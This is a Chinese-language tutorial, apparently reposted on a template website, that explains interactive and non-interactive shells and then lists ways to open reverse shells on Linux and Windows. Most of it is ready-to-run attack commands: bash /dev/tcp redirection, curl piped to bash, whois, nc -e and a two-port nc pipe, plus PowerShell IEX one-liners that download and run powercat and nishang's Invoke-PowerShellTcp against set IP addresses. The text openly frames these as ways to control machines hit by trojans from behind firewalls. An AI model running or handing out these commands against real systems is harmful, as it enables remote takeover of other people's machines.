交互shell
交互shell就是shell等待你的输入,并且立即执行你提交的命令。
这种模式被称作交互式是因为shell与用户进行交互。
这种模式也是大多数用户非常熟悉的:登录、执行一些命令、签退。当签退后,shell也终止了。
需要进行信息交互,例如输入某个信息 会返回信息 你需要对其输入内容,输入会执行命令。
例如 cmd 终端 msf反弹后门shell nc反弹shell 这些都属于交互shell
非交互shell
shell也可以运行在另外一种模式:非交互式模式,以shell script(非交互)方式执行。
在这种模式下,shell不与你进行交互,而是读取存放在文件中的命令,并且执行它们。当它读到文件的结
尾,shell也就终止了。如webshell。
什么是反弹shell?
反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。
为什么要反弹shell?
通常用于被控端因防火墙受限、权限不足、端口被占用等情形。
举例:假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面、web服务、ssh、telnet等等都是正向连接。那么什么情况下正向连接不能用了呢?
有如下情况:
1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。
2.目标机器的ip动态改变,你不能持续控制。
3.由于防火墙等限制,对方机器只能发送请求,不能接收请求。
4.对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机等情况都是未知的,所以建立一个服务端让恶意程序主动连接,才是上策。
那么反弹就很好理解了,攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。
Linux常见的反弹shell方法
bash反弹shell
攻击机使用nc监听端口:
nc -lvp 7777
目标机运行命令:
bash -i >& /dev/tcp/ip/port 0>&1
linux文件描述符:linux shell下有三种标准的文件描述符,分别如下:
0 - stdin 代表标准输入,使用<或<<
1 - stdout 代表标准输出,使用>或>>
2 - stderr 代表标准错误输出,使用2>或2>>
还有就是>&这个符号的含义,最好的理解是这样的(也可以把&理解为用来区分文件和文件描述符):
当>&后面接文件时,表示将标准输出和标准错误输出重定向至文件。
当>&后面接文件描述符时,表示将前面的文件描述符重定向至后面的文件描述符
所以bash -i >& /dev/tcp/ip/port 的意思是指
bash -i代表在本地打开一个bash,然后就是/dev/tcp/ip/port, /dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,>&后面跟上/dev/tcp/ip/port这个文件代表将标准输出和标准错误输出重定向到这个文件,也就是传递到远程上,如果远程开启了对应的端口去监听,就会接收到这个bash的标准输出和标准错误输出,这个时候我们在本机CentOS输入命令,输出以及错误输出的内容就会被传递显示到远程。
而后面再加上 0>&1是将标准输入也重定向到远程,不然只能在本地输入命令。
curl反弹shell
把bash命令写入html文件,只要文本包含bash一句话即可。
curl IP/bash.html|bash
nc启动监听
个人理解:crul访问到该ip下的文件内容当作bash的输入
whois反弹shell
nc启动监听
whois -h IP -p port pwd
//反弹的shell只能执行后面带的命令
nc反弹shell
使用nc反弹shell,需要的条件是被反弹shell的机器即目标机安装了nc,也可以自己上传。
攻击机使用nc监听端口:
nc -lvp 7777
目标机运行命令:
nc -e /bin/bash 192.168.0.4 7777(攻击机IP)
-e后面跟的参数代表的是在创建连接后执行的程序,这里代表在连接到远程后可以在远程执行一个本地shell(/bin/bash),也就是反弹一个shell给远程,可以看到远程已经成功反弹到了shell,并且可以执行命令。也就是说/bin/bash可以换成其他shell
当-e参数无法使用,可以利用到linux中的管道符
攻击机开启两个监听
nc -nvlp 6666
nc -nvlp 7777
目标机运行
nc 192.168.0.4 6666|/bin/bash|192.168.0.4 7777
这里通过在攻击机上监听两个端口,然后在使用目标机进行反向连接的时候使用到了管道符,管道符的作用是把管道符前的输出作为管道符后的输入,这样的话就可以在远程的6666端口的输入设备(键盘)输入命令,将命令输出传递至本地的/bin/bash,通过本地shell解释执行命令后,将命令执行的结果以及错误输入到远程的7777端口。
Windows反弹shell
1.nc反弹(与Linux大同小异)
2.powercat反弹
powercat是netcat的powershell版本
启动nc监听
在目标webshell中运行以下命令自动下载执行文章来源:https://www.toymoban.com/news/detail-780812.html
以IEX下载远程PS1脚本绕过权限执行
powershell IEX (New-Object System.Net.Webclient).DownloadString('服务器上psl的路径');powercat -c IP -p port -e cmd
3.nishang反弹(与powercat大同小异)
目标机用power shell执行以下命令也可以在webshell中使用powershell下载执行文章来源地址https://www.toymoban.com/news/detail-780812.html
IEX (New-Object Net.WebClient).DownloadString('http://192.168.159.134/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.2.103 -port 4444
4.利用MSF反弹shell模块
到了这里,关于交互式shell与非交互式shell,反弹shell的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!